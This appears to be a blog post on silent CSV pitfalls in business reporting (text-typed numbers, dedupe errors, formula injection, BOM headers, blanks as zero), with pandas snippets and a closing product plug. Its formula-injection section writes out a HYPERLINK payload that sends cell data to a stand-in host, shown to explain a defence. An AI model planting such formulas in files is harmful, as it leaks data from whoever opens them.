Most "our numbers are wrong" tickets I have seen in small businesses do not come from the dashboard. They come from the CSV that was uploaded into it.

The file opens fine in Excel. The totals look plausible. Then a month later someone notices that revenue is 8% low, and the cause is one of five things below. None of them throw an error.

Here is each one, how to reproduce it, and the smallest check that catches it.

1. Numbers that are secretly text

A supplier export writes 1,234.50. Another writes $1,234.50. A third writes 1.234,50 because it was generated on a European machine.

Excel will happily store all three as strings. SUM() on that column returns 0 or counts only the rows that happened to be plain digits. Pivot tables drop them. Nothing warns you.

Reproduce:

import pandas as pd df = pd.read_csv("orders.csv") print(df["amount"].dtype) # object <- not float64 print(df["amount"].sum()) # 0.0 or a tiny wrong number 

The fix is not astype(float). That raises, which is the honest outcome, but on a 200k-row export it is not useful. Normalize first, and refuse to guess:

import re def parse_amount(raw: str): s = raw.strip().replace("\u00a0", "") # non-breaking space s = re.sub(r"[^\d,.\-]", "", s) # drop currency symbols if not s or s in {"-", ",", "."}: return None # empty, not zero # decide the decimal separator ONCE per file, not per row if s.count(",") == 1 and s.count(".") >= 1 and s.rfind(",") > s.rfind("."): s = s.replace(".", "").replace(",", ".") # 1.234,50 -> 1234.50 else: s = s.replace(",", "") # 1,234.50 -> 1234.50 try: return float(s) except ValueError: return None 

Two rules earn their keep here:

  • Decide the separator per file, not per row. A per-row guess turns 1.234 into 1.234 in one row and 1234 in the next, and the mixed column looks fine.
  • Return None, never 0, for unparseable values. A zero silently merges into your totals. A None is countable: df["amount"].isna().sum() gives you a number of rows that need a human.

2. "Duplicate" rows that are not duplicates

df.drop_duplicates() runs before anyone looks at what a row means. Two rows with the same email, same amount, same date are not necessarily one order — they can be two orders, a subscription renewal, or a refund pair.

Conversely, two rows that look different ("Acme Ltd" and "Acme Ltd") can be the same customer.

The safe default: normalize whitespace, then remove only rows that are identical after normalization across the whole row, and keep the first occurrence. That is a defensible dedupe with no business assumption in it.

def normalize_cell(v): if v is None: return "" return " ".join(str(v).split()) mask = df.apply(lambda r: [normalize_cell(v) for v in r], axis=1) df = df[~mask.duplicated(keep="first")] 

Anything stronger needs a column that the business actually declares as a key. An email address is not an order identifier; a timestamp is not an order identifier. If you let a tool guess the key, you will eventually delete a real row, and you will not find out from an error message.

If you must dedupe on chosen columns, make the choice explicit and count what you drop:

before = len(df) df = df.drop_duplicates(subset=["order_id"], keep="first") # only after this column is verified unique by the owner print("dropped", before - len(df), "rows") 

Incomplete keys are the trap: if order_id is empty on 12% of rows, drop_duplicates(subset=["order_id"]) collapses all of those into one surviving row. Real data loss, zero warnings.

3. Formula injection

A CSV cell containing =HYPERLINK("http://x/"&A1,"click") is text in your database and an executable formula the moment someone opens the file in Excel. So is a cell starting with +, -, or @.

You can reproduce it in thirty seconds and it is the cleanest example of "data" that behaves as "code".

The rule for any exporter that other people will open:

def safe_cell(v): s = str(v) if s[:1] in ("=", "+", "-", "@", "\t", "\r"): return "'" + s # or write the cell as explicit text in XLSX return s 

If you write XLSX with openpyxl instead of CSV, set the cell type to string explicitly — a value beginning with = otherwise becomes a formula object, not a value:

from openpyxl.cell.cell import Cell ws["A1"].data_type = "s" # or ws["A1"] = "'" + value 

The - case matters more than it looks: negative numbers are legitimate, so an over-eager rule breaks them. Decide at import time whether the column is numeric; only apply the quoting to text columns.

4. The invisible BOM

A file saved by Excel as "CSV UTF-8" starts with \ufeff. Your first column header is then not Order ID, it is \ufeffOrder ID. Every df["Order ID"] raises KeyError, so people "fix" it by positional indexing, and the whole pipeline becomes order-dependent.

df = pd.read_csv("orders.csv", encoding="utf-8-sig") # strips the BOM 

Cheap check to run on any incoming file:

with open(path, "rb") as f: print(f.read(3) == b"\xef\xbb\xbf") # True -> BOM present 

5. Empty is not zero

An empty cell means "unknown", "not applicable", or "did not happen". A zero means "happened, value zero". When a cleaning step fills blanks with 0, the sum is unchanged but the average, the conversion rate and the churn count are all now wrong, and nobody can tell afterwards which rows were filled.

Keep the distinction:

# display only: tag them, do not overwrite the value with a fake number df["amount"] = df["amount"].apply(lambda v: v if v not in ("", None) else "MISSING") 

Or carry a parallel flag column. Either way, the fill must leave a trace that can be counted later.

A short checklist before you trust the file

  1. Encoding: utf-8-sig, and confirm the first header name.
  2. Dtypes: any numeric column arriving as object is a bug, not a quirk.
  3. Unparseable values: count them, do not zero them.
  4. Duplicates: normalize whitespace first, and only remove whole-row identical repeats unless a key column was explicitly verified.
  5. Formula-like cells: quote them in text columns, keep negatives working.
  6. Row count: before and after printed on every run.

That list is short on purpose. Every item on it is a thing that fails silently, which is exactly the category of bug that costs a small business money — the kind where nobody files a ticket because nothing looks broken.

I wrapped these checks into a small CLI (clean_csv.py) that takes a CSV, writes an XLSX plus a JSON audit trail of what it changed, and refuses to guess at business keys. There is a free sample with the same cleaning functionality here — CSV/Excel Cleaning Mini Sample — and the paid version adds reference outputs, regression tests and a hash manifest rather than extra features.

If you only take one thing from this post: print the row count before and after, and count the rows you could not parse. Those two numbers catch most of the failures above before a customer does.